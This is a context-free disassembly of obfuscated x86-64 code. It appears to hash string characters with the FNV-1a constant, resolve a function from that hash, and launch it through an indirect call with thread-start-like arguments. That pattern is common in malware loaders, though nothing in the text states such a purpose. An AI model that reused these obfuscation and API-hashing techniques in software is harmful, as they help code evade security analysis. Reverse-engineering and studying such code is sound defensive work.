cmp edi, 0x3c99517c
je 0x1800fa469
mov ecx, edi
cmp edi, 0x4c9efa83
jne 0x1800fa1c0
mov ecx, 0x3c99517c
jmp 0x1800fa1c0
cmp edi, 0xa3c9f9bf
je 0x1800fa478
cmp edi, 0xceeedbf2
je 0x1800fa494
mov ecx, edi
cmp edi, 0xd53d7942
jne 0x1800fa1c0
mov ecx, dword [rbp - 0x18]
add ecx, 1
mov dword [rbp - 0x50], ecx
mov ecx, r9d
jmp 0x1800fa1c0
cmp edi, 0x333d9637
je 0x1800fa4d4
cmp edi, 0x37aeee4c
je 0x1800fa4fa
mov ecx, edi
cmp edi, 0x37b08906
jne 0x1800fa1c0
cmp byte [rbp - 0x19], 0
mov ecx, 0xd8f901be
mov edi, 0x37aeee4c
cmovne ecx, edi
jmp 0x1800fa1c0
cmp edi, 0xf9c47bc
je 0x1800fa1b2
cmp edi, 0x12c44dda
je 0x1800fa50e
mov ecx, edi
cmp edi, 0x1e7f08b0
jne 0x1800fa1c0
cmp byte [rbp - 0x34], 0
mov ecx, 0xd8f901be
mov edi, 0x90bf4f40
cmovne ecx, edi
jmp 0x1800fa1c0
cmp edi, 0x6b642c92
jne 0x1800fa522
mov ecx, dword [rbp - 8]
add rcx, r10
mov qword [rbp - 0x10], rcx
mov ecx, 0x212c6d16
jmp 0x1800fa1c0
mov ecx, 0x333d9637
xor edx, edx
jmp 0x1800fa1c0
cmp byte [rbp - 0x29], 0
mov ecx, 0x4c9efa83
mov edi, 0xde149e36
cmovne ecx, edi
jmp 0x1800fa1c0
mov ecx, 0x52206a53
jmp 0x1800fa1c0
mov ecx, 0x30a8a37e
jmp 0x1800fa1c0
mov ecx, 0xceeedbf2
mov r12d, dword [rbp - 0x40]
jmp 0x1800fa1c0
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, 0xd53d7942
jmp 0x1800fa1c0
mov ecx, 0xe8b285e9
xor eax, eax
mov rsi, r13
jmp 0x1800fa1c0
mov rcx, qword [rbp - 0x10]
movsx ecx, byte [rcx]
mov dword [rbp - 0x40], ecx
mov ecx, dword [rbp - 0x40]
cmp ecx, 0x41
setge byte [rbp - 0x19]
mov ecx, r8d
jmp 0x1800fa1c0
movsxd rsi, r12d
mov rax, qword [rbp]
mov rcx, rax
xor rcx, r15
mov rdi, rsi
xor rdi, r15
xor rax, r14
and rax, rdi
xor rsi, r14
and rsi, rcx
or rsi, rax
movabs rax, 0x100000001b3
imul rsi, rax
mov eax, dword [rbp - 8]
add eax, 1
mov ecx, 0xe8b285e9
jmp 0x1800fa1c0
mov dword [rbp - 0x18], edx
mov ecx, dword [rbp - 0x18]
movsx ecx, byte [r10 + rcx]
mov dword [rbp - 0x30], ecx
mov ecx, dword [rbp - 0x30]
cmp ecx, 0x20
mov ecx, 0x4c9efa83
mov edi, 0x12c44dda
cmovge ecx, edi
jmp 0x1800fa1c0
mov ecx, dword [rbp - 0x40]
cmp ecx, 0x5b
setl byte [rbp - 0x34]
mov ecx, 0x1e7f08b0
jmp 0x1800fa1c0
mov ecx, dword [rbp - 0x30]
cmp ecx, 0x7f
setl byte [rbp - 0x29]
mov ecx, 0x8722d6a5
jmp 0x1800fa1c0
mov ecx, edi
cmp edi, 0x73cb3c68
jne 0x1800fa1c0
mov rcx, qword [rbp]
sub rsp, 0x20
call fcn.1800e9be0
sub rsp, 0x10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x1800f5560]
xor r9d, r9d
call rax
add rsp, 0x30
mov rax, qword [rbp - 0x78]
mov eax, 0xffccefbb
jmp 0x1800f5660
mov rcx, qword [rbp + 0x30]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800fabf0
add rsp, 0x20
mov eax, 1
lea rsp, [rbp + 0x38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret